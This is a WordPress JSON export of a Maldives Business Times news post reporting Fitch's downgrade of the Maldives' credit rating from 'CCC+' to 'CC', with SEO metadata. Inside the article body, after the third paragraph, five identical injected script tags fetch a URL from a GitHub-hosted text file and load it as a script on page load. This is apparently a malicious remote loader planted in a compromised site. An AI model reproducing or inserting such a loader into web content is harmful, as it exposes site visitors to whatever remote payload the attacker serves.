{"id":10225,"date":"2024-08-29T18:03:37","date_gmt":"2024-08-29T13:03:37","guid":{"rendered":"https:\/\/mbt.mv\/?p=10225"},"modified":"2024-08-29T18:03:37","modified_gmt":"2024-08-29T13:03:37","slug":"fitch-downgrades-maldives-credit-rating-to-cc","status":"publish","type":"post","link":"https:\/\/mbt.mv\/?p=10225","title":{"rendered":"Fitch downgrades Maldives&#8217; credit rating to &#8216;CC&#8217;"},"content":{"rendered":"<p>The top global credit rating agency, Fitch Ratings has downgraded the Maldives&#8217; credit rating from &#8216;CCC+&#8217; to &#8216;CC&#8217;, marking the second ratings downgrade for the island nation in 2024.<\/p>\n<p>Fitch announced the downgrade in the Long-Term Foreign-Currency Issuer Default Rating (IDR) for the Maldives in a statement on Thursday.<\/p>\n<p>In it Fitch highlights the key factors to this downgrade includes an increased risk of default, declining gross foreign exchange reserves, surging external debt, public debt vulnerabilities, and uncertainties tied to the state&#8217;s medium-term fiscal plan.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The top global credit rating agency, Fitch Ratings has downgraded the Maldives&#8217; credit rating from &#8216;CCC+&#8217; to &#8216;CC&#8217;, marking the second ratings downgrade for the island nation in 2024. Fitch announced the downgrade in the Long-Term Foreign-Currency Issuer Default Rating (IDR) for the Maldives in a statement on Thursday. In it Fitch highlights the key<\/p>\n","protected":false},"author":4,"featured_media":10226,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2424,2428],"tags":[],"class_list":{"0":"post-10225","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-finance","8":"category-public-sector"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.0 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Fitch downgrades Maldives&#039; credit rating to &#039;CC&#039; - Maldives Business Times<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/mbt.mv\/?p=10225\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Fitch downgrades Maldives&#039; credit rating to &#039;CC&#039; - Maldives Business Times\" \/>\n<meta property=\"og:description\" content=\"The top global credit rating agency, Fitch Ratings has downgraded the Maldives&#8217; credit rating from &#8216;CCC+&#8217; to &#8216;CC&#8217;, marking the second ratings downgrade for the island nation in 2024. Fitch announced the downgrade in the Long-Term Foreign-Currency Issuer Default Rating (IDR) for the Maldives in a statement on Thursday. In it Fitch highlights the key\" \/>\n<meta property=\"og:url\" content=\"https:\/\/mbt.mv\/?p=10225\" \/>\n<meta property=\"og:site_name\" content=\"Maldives Business Times\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/mvbiztimes\" \/>\n<meta property=\"article:published_time\" content=\"2024-08-29T13:03:37+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/mbt.mv\/wp-content\/uploads\/2024\/08\/Fitch-1.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1313\" \/>\n\t<meta property=\"og:image:height\" content=\"875\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Mohamed Reehaan\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@mvbiztimes\" \/>\n<meta name=\"twitter:site\" content=\"@mvbiztimes\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Mohamed Reehaan\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/mbt.mv\/?p=10225#article\",\"isPartOf\":{\"@id\":\"https:\/\/mbt.mv\/?p=10225\"},\"author\":{\"name\":\"Mohamed Reehaan\",\"@id\":\"https:\/\/mbt.mv\/#\/schema\/person\/a0eedc1134716e7c8e4da095494670c2\"},\"headline\":\"Fitch downgrades Maldives&#8217; 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